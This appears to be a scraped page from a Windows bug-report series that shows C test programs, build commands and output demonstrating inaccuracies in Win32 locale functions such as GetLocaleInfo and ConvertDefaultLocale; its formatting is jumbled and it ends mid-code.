Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2.:
        
.\blunder.exe
GetDateFormat() returned date '08/15/2020' of 11 characters, but true string length is 10 characters GetTimeFormat() returned time '12:34:56' of 9 characters, but true string length is 8 characters GetLocaleInfo() returned text '0123456789' of 11 characters, but true string length is 10 characters GetDateFormatEx() returned date 'Saturday, 15 August 2020' of 25 characters, but true string length is 24 characters GetTimeFormatEx() returned time '12:34:56' of 9 characters, but true string length is 8 characters GetLocaleInfoEx() returned text '0123456789' of 11 characters, but true string length is 10 characters
GetCalendarInfo(),
            GetCalendarInfoEx(),
            GetCurrencyFormat(),
            GetCurrencyFormatEx(),
            GetDurationFormat(),
            GetDurationFormatEx(),
            GetGeoInfo(),
            GetNumberFormat()
            and
            GetNumberFormatEx()
            is left as an exercise to the reader.
            International Support
            National Language Support Functions
            National Language Support Functions
            Security Considerations: International Features
            Table of Geographical Locations
            Table of Geographical Locations
            Sort Order Identifiers
            Sort Order Identifiers
            Calendar Identifiers
            Calendar Identifiers
            Calendar Type Information
            Calendar Type Information
            Era Handling for the Japanese Calendar
            Paper Sizes
            Paper Sizes
            EnumCalendarInfo()
            EnumCalendarInfo()
            EnumCalendarInfoEx()
            EnumCalendarInfoEx()
            EnumCalendarInfoExEx()
            EnumCalendarInfoExEx()
            EnumCalendarInfoProc()
            EnumCalendarInfoProc()
            EnumCalendarInfoProcEx()
            EnumCalendarInfoProcEx()
            EnumCalendarInfoProcExEx()
            EnumCalendarInfoProcExEx()
            EnumDateFormats()
            EnumDateFormats()
            EnumDateFormatsEx()
            EnumDateFormatsEx()
            EnumDateFormatsExEx()
            EnumDateFormatsExEx()
            EnumDateFormatsProc()
            EnumDateFormatsProc()
            EnumDateFormatsProcEx()
            EnumDateFormatsProcEx()
            EnumDateFormatsProcExEx()
            EnumDateFormatsProcExEx()
            EnumTimeFormats()
            EnumTimeFormats()
            EnumTimeFormatsEx()
            EnumTimeFormatsEx()
            EnumTimeFormatsProc()
            EnumTimeFormatsProc()
            EnumTimeFormatsProcEx()
            EnumTimeFormatsProcEx()
            GetCalendarInfo()
            GetCalendarInfo()
            GetCalendarInfoEx()
            GetCalendarInfoEx()
            GetCurrencyFormat()
            GetCurrencyFormat()
            GetCurrencyFormatEx()
            GetCurrencyFormatEx()
            GetDateFormat()
            GetDateFormat()
            GetDateFormatEx()
            GetDateFormatEx()
            GetDurationFormat()
            GetDurationFormat()
            GetDurationFormatEx()
            GetDurationFormatEx()
            GetLocaleInfo()
            GetLocaleInfo()
            GetLocaleInfoEx()
            GetLocaleInfoEx()
            GetNumberFormat()
            GetNumberFormat()
            GetNumberFormatEx()
            GetNumberFormatEx()
            GetTimeFormat()
            GetTimeFormat()
            GetTimeFormatEx()
            GetTimeFormatEx()
            CURRENCYFMT
            CURRENCYFMT
            NUMBERFMT
            NUMBERFMT
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
LCIDToLocaleName()
            specifies:
        Converts a locale identifier to a locale name. […][…]int LCIDToLocaleName( [in] LCID Locale, [out, optional] LPWSTR lpName, [in] int cchName, [in] DWORD dwFlags );Returns the count of characters, including the terminating null character, in the locale name if successful. If the function succeeds and the value of cchName is 0, the return value is the required size, in characters (including nulls), for the locale name buffer.
ConvertDefaultLocale()
            states:
        Converts a default locale value to an actual locale identifier.OUCH⁰: the preprocessor macroNote This function is only provided for converting partial locale identifiers.[…]LCID ConvertDefaultLocale( [in] LCID Locale );
[in] LocaleDefault locale identifier value to convert. You can use the MAKELANGID macro to create a locale identifier or use one of the following predefined values.
Windows Vista and later: The following custom locale identifiers are also supported.[…]
Returns the appropriate locale identifier if successful.
This function returns the value of the Locale parameter if it does not succeed. The function fails when the Locale value is not one of the default values listed above.
MAKELANGID
            creates
            language identifiers
            – the preprocessor macro
            MAKELCID
            creates
            locale identifiers!
            MAKELANGID
            Language Identifiers
            MAKELCID
            Locale Identifiers
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szDefault[LOCALE_NAME_MAX_LENGTH];
	WCHAR	szConvert[LOCALE_NAME_MAX_LENGTH];
	LCID	lcConvert;
	LCID	lcDefault = LOCALE_CUSTOM_UI_DEFAULT;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		do
		{
			lcConvert = ConvertDefaultLocale(lcDefault);
			if (lcConvert == lcDefault)
				continue;
			if (LCIDToLocaleName(lcDefault,
			                     szDefault,
			                     sizeof(szDefault) / sizeof(*szDefault),
			                     LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
				PrintConsole(hError,
				             L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
				             dwError = GetLastError(), lcDefault);
			else if (LCIDToLocaleName(lcConvert,
			                          szConvert,
			                          sizeof(szConvert) / sizeof(*szConvert),
			                          LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
				PrintConsole(hError,
				             L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
				             dwError = GetLastError(), lcConvert);
			else
				PrintConsole(hError,
				             L"0x%08lX = %ls\n"
				             L"0x%08lX = %ls\n",
				             lcConvert, szConvert,
				             lcDefault, szDefault);
		}
		while (--lcDefault > LOCALE_NEUTRAL);
	ExitProcess(dwError);
}ConvertDefaultLocale()
            LCIDToLocaleName()
            LCIDToLocaleName()
            LocaleNameToLCID()
            LocaleNameToLCID()
         Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2.:
        
.\blunder.exe
0x00000409 = en-US 0x00000C00 = en-US 0x00000409 = en-US 0x00000800 = en-US 0x00000409 = en-US 0x00000400 = en-US 0x00000492 = ku-Arab-IQ 0x00000092 = ku 0x00000491 = gd-GB 0x00000091 = gd 0x0000048C = prs-AF 0x0000008C = prs 0x00000488 = wo-SN 0x00000088 = wo 0x00000487 = rw-RW 0x00000087 = rw 0x00000486 = quc-Latn-GT 0x00000086 = quc 0x00000485 = sah-RU 0x00000085 = sah 0x00000484 = gsw-FR 0x00000084 = gsw 0x00000483 = co-FR 0x00000083 = co 0x00000482 = oc-FR 0x00000082 = oc 0x00000481 = mi-NZ 0x00000081 = mi 0x00000480 = ug-CN 0x00000080 = ug 0x0000047E = br-FR 0x0000007E = br 0x0000047C = moh-CA 0x0000007C = moh 0x0000047A = arn-CL 0x0000007A = arn 0x00000479 = pap-029 0x00000079 = pap 0x00000478 = ii-CN 0x00000078 = ii 0x00000477 = so-SO 0x00000077 = so 0x00000476 = la-001 0x00000076 = la 0x00000475 = haw-US 0x00000075 = haw 0x00000474 = gn-PY 0x00000074 = gn 0x00000873 = ti-ER 0x00000073 = ti 0x00000472 = om-ET 0x00000072 = om 0x00000471 = kr-Latn-NG 0x00000071 = kr 0x00000470 = ig-NG 0x00000070 = ig 0x0000046F = kl-GL 0x0000006F = kl 0x0000046E = lb-LU 0x0000006E = lb 0x0000046D = ba-RU 0x0000006D = ba 0x0000046C = nso-ZA 0x0000006C = nso 0x0000046B = quz-BO 0x0000006B = quz 0x0000046A = yo-NG 0x0000006A = yo 0x00000469 = ibb-NG 0x00000069 = ibb 0x00000468 = ha-Latn-NG 0x00000068 = ha 0x00000867 = ff-Latn-SN 0x00000067 = ff 0x00000466 = bin-NG 0x00000066 = bin 0x00000465 = dv-MV 0x00000065 = dv 0x00000464 = fil-PH 0x00000064 = fil 0x00000463 = ps-AF 0x00000063 = ps 0x00000462 = fy-NL 0x00000062 = fy 0x00000461 = ne-NP 0x00000061 = ne 0x00000460 = ks-Arab 0x00000060 = ks 0x0000085F = tzm-Latn-DZ 0x0000005F = tzm 0x0000045E = am-ET 0x0000005E = am 0x0000085D = iu-Latn-CA 0x0000005D = iu 0x0000045B = si-LK 0x0000005B = si 0x0000045A = syr-SY 0x0000005A = syr 0x00000859 = sd-Arab-PK 0x00000059 = sd 0x00000458 = mni-IN 0x00000058 = mni 0x00000457 = kok-IN 0x00000057 = kok 0x00000456 = gl-ES 0x00000056 = gl 0x00000454 = lo-LA 0x00000054 = lo 0x00000453 = km-KH 0x00000053 = km 0x00000452 = cy-GB 0x00000052 = cy 0x00000451 = bo-CN 0x00000051 = bo 0x00000450 = mn-MN 0x00000050 = mn 0x0000044F = sa-IN 0x0000004F = sa 0x0000044E = mr-IN 0x0000004E = mr 0x0000044D = as-IN 0x0000004D = as 0x0000044C = ml-IN 0x0000004C = ml 0x0000044B = kn-IN 0x0000004B = kn 0x0000044A = te-IN 0x0000004A = te 0x00000449 = ta-IN 0x00000049 = ta 0x00000448 = or-IN 0x00000048 = or 0x00000447 = gu-IN 0x00000047 = gu 0x00000446 = pa-IN 0x00000046 = pa 0x00000845 = bn-BD 0x00000045 = bn 0x00000444 = tt-RU 0x00000044 = tt 0x00000443 = uz-Latn-UZ 0x00000043 = uz 0x00000442 = tk-TM 0x00000042 = tk 0x00000441 = sw-KE 0x00000041 = sw 0x00000440 = ky-KG 0x00000040 = ky 0x0000043F = kk-KZ 0x0000003F = kk 0x0000043E = ms-MY 0x0000003E = ms 0x0000043D = yi-001 0x0000003D = yi 0x0000083C = ga-IE 0x0000003C = ga 0x0000043B = se-NO 0x0000003B = se 0x0000043A = mt-MT 0x0000003A = mt 0x00000439 = hi-IN 0x00000039 = hi 0x00000438 = fo-FO 0x00000038 = fo 0x00000437 = ka-GE 0x00000037 = ka 0x00000436 = af-ZA 0x00000036 = af 0x00000435 = zu-ZA 0x00000035 = zu 0x00000434 = xh-ZA 0x00000034 = xh 0x00000433 = ve-ZA 0x00000033 = ve 0x00000432 = tn-ZA 0x00000032 = tn 0x00000431 = ts-ZA 0x00000031 = ts 0x00000430 = st-ZA 0x00000030 = st 0x0000042F = mk-MK 0x0000002F = mk 0x0000042E = hsb-DE 0x0000002E = hsb 0x0000042D = eu-ES 0x0000002D = eu 0x0000042C = az-Latn-AZ 0x0000002C = az 0x0000042B = hy-AM 0x0000002B = hy 0x0000042A = vi-VN 0x0000002A = vi 0x00000429 = fa-IR 0x00000029 = fa 0x00000428 = tg-Cyrl-TJ 0x00000028 = tg 0x00000427 = lt-LT 0x00000027 = lt 0x00000426 = lv-LV 0x00000026 = lv 0x00000425 = et-EE 0x00000025 = et 0x00000424 = sl-SI 0x00000024 = sl 0x00000423 = be-BY 0x00000023 = be 0x00000422 = uk-UA 0x00000022 = uk 0x00000421 = id-ID 0x00000021 = id 0x00000420 = ur-PK 0x00000020 = ur 0x0000041F = tr-TR 0x0000001F = tr 0x0000041E = th-TH 0x0000001E = th 0x0000041D = sv-SE 0x0000001D = sv 0x0000041C = sq-AL 0x0000001C = sq 0x0000041B = sk-SK 0x0000001B = sk 0x0000041A = hr-HR 0x0000001A = hr 0x00000419 = ru-RU 0x00000019 = ru 0x00000418 = ro-RO 0x00000018 = ro 0x00000417 = rm-CH 0x00000017 = rm 0x00000416 = pt-BR 0x00000016 = pt 0x00000415 = pl-PL 0x00000015 = pl 0x00000414 = nb-NO 0x00000014 = no 0x00000413 = nl-NL 0x00000013 = nl 0x00000412 = ko-KR 0x00000012 = ko 0x00000411 = ja-JP 0x00000011 = ja 0x00000410 = it-IT 0x00000010 = it 0x0000040F = is-IS 0x0000000F = is 0x0000040E = hu-HU 0x0000000E = hu 0x0000040D = he-IL 0x0000000D = he 0x0000040C = fr-FR 0x0000000C = fr 0x0000040B = fi-FI 0x0000000B = fi 0x00000C0A = es-ES 0x0000000A = es 0x00000409 = en-US 0x00000009 = en 0x00000408 = el-GR 0x00000008 = el 0x00000407 = de-DE 0x00000007 = de 0x00000406 = da-DK 0x00000006 = da 0x00000405 = cs-CZ 0x00000005 = cs 0x00000804 = zh-CN 0x00000004 = zh-Hans 0x00000403 = ca-ES 0x00000003 = ca 0x00000402 = bg-BG 0x00000002 = bg 0x00000401 = ar-SA 0x00000001 = arOUCH¹: the Win32 function
ConvertDefaultLocale()
            fails for the explicitly listed predefined
            locale identifiers
            0x0000007F alias
            LOCALE_INVARIANT,
            0x00001000 alias
            LOCALE_CUSTOM_UNSPECIFIED
            and 0x00001400 alias
            LOCALE_CUSTOM_UI_DEFAULT!
        OUCH²: contrary to the last highlighted statement of the documentation cited above it but succeeds for non-default partial locale identifiers!
LOCALE_SNATIVE*
            locale information constants
            states:
        NLSWeb NLSWeb NLSWebThis topic defines the LOCALE_SNATIVE* constants used by NLS to represent native language names.
Value Meaning … … LOCALE_SNATIVEDIGITS Native equivalents of ASCII 0 through 9. The maximum number of characters allowed for this string is eleven, including a terminating null character. For example, Arabic uses ٠١٢٣٤٥٦٧٨٩. See also LOCALE_IDIGITSUBSTITUTION.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
BOOL	WINAPI	LocaleEnumProcEx(LPCWSTR lpLocaleName,
		                 DWORD   dwFlags,
		                 LPARAM  lParam)
{
	HANDLE	hConsole = (HANDLE) lParam;
	WCHAR	szBlunder[11];
	LCID	lcid = LocaleNameToLCID(lpLocaleName, LOCALE_ALLOW_NEUTRAL_NAMES);
	if (lcid == LOCALE_NEUTRAL)
		PrintConsole(hConsole,
		             L"LocaleNameToLCID() returned error %lu for \'%ls\'\n",
		             GetLastError(), lpLocaleName);
	else
#ifdef BLUNDER
		if (GetLocaleInfoEx(lpLocaleName,
#else
		if (GetLocaleInfo(lcid,
#endif
		                  LOCALE_SNATIVEDIGITS,
		                  szBlunder,
		                  sizeof(szBlunder) / sizeof(*szBlunder)) == 0)
			PrintConsole(hConsole,
#ifdef BLUNDER
			             L"GetLocaleInfoEx() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX alias \'%ls\'\n",
#else
			             L"GetLocaleInfo() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX alias \'%ls\'\n",
#endif
			             GetLastError(), lcid, lpLocaleName);
		else
#if 0
			if (wmemcmp(szBlunder, L"0123456789", sizeof("0123456789")) != 0)
#else
			if (memcmp(szBlunder, L"0123456789", sizeof(L"0123456789")) != 0)
#endif
				PrintConsole(hConsole,
				             L"0x%08lX = %-7ls U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX\n",
				             lcid, lpLocaleName, szBlunder[0], szBlunder[1], szBlunder[2], szBlunder[3], szBlunder[4], szBlunder[5], szBlunder[6], szBlunder[7], szBlunder[8], szBlunder[9]);
	return TRUE;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		if (!EnumSystemLocalesEx(LocaleEnumProcEx,
		                         LOCALE_ALL,
		                         (LPARAM) hError,
		                         NULL))
			PrintConsole(hError,
			             L"EnumSystemLocalesEx() returned error %lu\n",
			             dwError = GetLastError());
	ExitProcess(dwError);
}EnumLocalesProcEx()
            LocaleEnumProcEx()
            EnumSystemLocalesEx()
            EnumSystemLocalesEx()
            LocaleNameToLCID()
            LocaleNameToLCID()
         Compile and link the source file blunder.c created in
            step 4.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(33) : warning C4100: 'dwFlags' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
VER .\blunder.exe ECHO %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] 0x00000001 = ar U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x0000001E = th U+0E50 U+0E51 U+0E52 U+0E53 U+0E54 U+0E55 U+0E56 U+0E57 U+0E58 U+0E59 0x00000020 = ur U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9 0x00000029 = fa U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9 0x00000045 = bn U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF 0x00000046 = pa U+0A66 U+0A67 U+0A68 U+0A69 U+0A6A U+0A6B U+0A6C U+0A6D U+0A6E U+0A6F 0x00000047 = gu U+0AE6 U+0AE7 U+0AE8 U+0AE9 U+0AEA U+0AEB U+0AEC U+0AED U+0AEE U+0AEF 0x00000048 = or U+0B66 U+0B67 U+0B68 U+0B69 U+0B6A U+0B6B U+0B6C U+0B6D U+0B6E U+0B6F 0x00000049 = ta U+0BE6 U+0BE7 U+0BE8 U+0BE9 U+0BEA U+0BEB U+0BEC U+0BED U+0BEE U+0BEF 0x0000004A = te U+0C66 U+0C67 U+0C68 U+0C69 U+0C6A U+0C6B U+0C6C U+0C6D U+0C6E U+0C6F 0x0000004B = kn U+0CE6 U+0CE7 U+0CE8 U+0CE9 U+0CEA U+0CEB U+0CEC U+0CED U+0CEE U+0CEF 0x0000004C = ml U+0D66 U+0D67 U+0D68 U+0D69 U+0D6A U+0D6B U+0D6C U+0D6D U+0D6E U+0D6F 0x0000004D = as U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF 0x0000004E = mr U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F 0x0000004F = sa U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F 0x00000053 = km U+17E0 U+17E1 U+17E2 U+17E3 U+17E4 U+17E5 U+17E6 U+17E7 U+17E8 U+17E9 0x00000054 = lo U+0ED0 U+0ED1 U+0ED2 U+0ED3 U+0ED4 U+0ED5 U+0ED6 U+0ED7 U+0ED8 U+0ED9 0x00000057 = kok U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F 0x00000061 = ne U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F 0x00000063 = ps U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x0000008C = prs U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00000401 = ar-SA U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x0000041E = th-TH U+0E50 U+0E51 U+0E52 U+0E53 U+0E54 U+0E55 U+0E56 U+0E57 U+0E58 U+0E59 0x00000420 = ur-PK U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9 0x00000429 = fa-IR U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9 0x00000445 = bn-IN U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF 0x00000446 = pa-IN U+0A66 U+0A67 U+0A68 U+0A69 U+0A6A U+0A6B U+0A6C U+0A6D U+0A6E U+0A6F 0x00000447 = gu-IN U+0AE6 U+0AE7 U+0AE8 U+0AE9 U+0AEA U+0AEB U+0AEC U+0AED U+0AEE U+0AEF 0x00000448 = or-IN U+0B66 U+0B67 U+0B68 U+0B69 U+0B6A U+0B6B U+0B6C U+0B6D U+0B6E U+0B6F 0x00000449 = ta-IN U+0BE6 U+0BE7 U+0BE8 U+0BE9 U+0BEA U+0BEB U+0BEC U+0BED U+0BEE U+0BEF 0x0000044A = te-IN U+0C66 U+0C67 U+0C68 U+0C69 U+0C6A U+0C6B U+0C6C U+0C6D U+0C6E U+0C6F 0x0000044B = kn-IN U+0CE6 U+0CE7 U+0CE8 U+0CE9 U+0CEA U+0CEB U+0CEC U+0CED U+0CEE U+0CEF 0x0000044C = ml-IN U+0D66 U+0D67 U+0D68 U+0D69 U+0D6A U+0D6B U+0D6C U+0D6D U+0D6E U+0D6F 0x0000044D = as-IN U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF 0x0000044E = mr-IN U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F 0x0000044F = sa-IN U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F 0x00000453 = km-KH U+17E0 U+17E1 U+17E2 U+17E3 U+17E4 U+17E5 U+17E6 U+17E7 U+17E8 U+17E9 0x00000454 = lo-LA U+0ED0 U+0ED1 U+0ED2 U+0ED3 U+0ED4 U+0ED5 U+0ED6 U+0ED7 U+0ED8 U+0ED9 0x00000457 = kok-IN U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F 0x00000461 = ne-NP U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F 0x00000463 = ps-AF U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x0000048C = prs-AF U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00000801 = ar-IQ U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00000845 = bn-BD U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF 0x00000C01 = ar-EG U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00002001 = ar-OM U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00002401 = ar-YE U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00002801 = ar-SY U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00002C01 = ar-JO U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00003001 = ar-LB U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00003401 = ar-KW U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00003801 = ar-AE U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00003C01 = ar-BH U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0x00004001 = ar-QA U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669 0OUCH¹: contrary to the first highlighted statement of the documentation cited above, the Win32 function
GetLocaleInfoW()
            yields neither the simplified Chinese numeral ideograms
            〇一二三四五六七八九
            alias U+3007, U+4E00, U+4E8C,
            U+4E09, U+56DB, U+4E94,
            U+516D, U+4E03, U+516B and
            U+4E5D nor the traditional Chinese numeral ideograms
            零一二三四五六七八九
            alias U+96F6, U+4E00, U+4E8C,
            U+4E09, U+56DB, U+4E94,
            U+516D, U+4E03, U+516B and
            U+4E5D for any of the Chinese
            locale identifiers
            0x000???04 alias
            MAKELCID(MAKELANGID(LANG_CHINESE, SUBLANG_CHINESE_*), SORT_*)!
         OUCH²: while it yields the Arabic numerals
            ٠١٢٣٤٥٦٧٨٩
            alias U+0660,
            U+0661,
            U+0662,
            U+0663,
            U+0664,
            U+0665,
            U+0666,
            U+0667,
            U+0668 and
            U+0669 for most of the
            Arabic
            locale identifiers
            0x000???01 alias
            MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_*), SORT_*)
            as well as 0x00000463 alias
            MAKELCID(MAKELANGID(LANG_PASHTO, SUBLANG_PASHTO_AFGHANISTAN), SORT_*),
            0x0000048C alias
            MAKELCID(MAKELANGID(LANG_DARI, SUBLANG_DARI_AFGHANISTAN), SORT_*)
            and the
            pseudo-locale
            0x000009FF, it but yields the
            ANSI
            ASCII
            digits 0123456789 for the Arabic
            locale identifiers
            0x000?1001 alias
            MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_LYBIA), SORT_*),
            0x000?1401 alias
            MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_ALGERIA), SORT_*),
            0x000?1801 alias
            MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_MOROCCO), SORT_*)
            and 0x000?1C01 alias
            MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_TUNISIA), SORT_*)!
        
OUCH³: while it yields the extended Arabic-Indic numerals ۰۱۲۳۴۵۶۷۸۹, the Bengali numerals ০১২৩৪৫৬৭৮৯, the Devanagari numerals ०१२३४५६७८९, the Guarati numerals ૦૧૨૩૪૫૬૭૮૯, the Gurmukhi numerals ੦੧੨੩੪੫੬੭੮੯, the Kannada numerals ೦೧೨೩೪೫೬೭೮೯, the Khmer numerals ០១២៣៤៥៦៧៨៩, the Lao numerals ໐໑໒໓໔໕໖໗໘໙, the Malayalam numerals ൦൧൨൩൪൫൬൭൮൯, the Oriya numerals ୦୧୨୩୪୫୬୭୮୯, the Tamil numerals ௦௧௨௩௪௫௬௭௮௯, the Telugu numerals ౦౧౨౩౪౫౬౭౮౯ and the Thai numerals ๐๑๒๓๔๕๖๗๘๙, it but yields neither the Tibetan numerals ༠༡༢༣༤༥༦༧༨༩ nor the Mongolian numerals ᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙.
 The documentation for the
            LOCALE_USE_CP_ACP
            locale information constant
            states:
        
Windows Me/98, Windows 2000: System default Windows ANSI code page (ACP) instead of the locale code page used for string translation. See Code Page Identifiers for a list of ANSI and other code pages.The documentation for the
LOCALE_SNATIVE*
            locale information constants
            states:
        This topic defines the LOCALE_SNATIVE* constants used by NLS to represent native language names.
Value Meaning … … LOCALE_SNATIVEDIGITS Native equivalents of ASCII 0 through 9. The maximum number of characters allowed for this string is eleven, including a terminating null character. For example, Arabic uses ٠١٢٣٤٥٦٧٨٩. See also LOCALE_IDIGITSUBSTITUTION.… … LOCALE_SNATIVELANGUAGENAME Windows 7 and later: Native name of the language, for example, Հայերենfor Armenian (Armenia). The maximum number of characters allowed for this string is 80, including a terminating null character.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
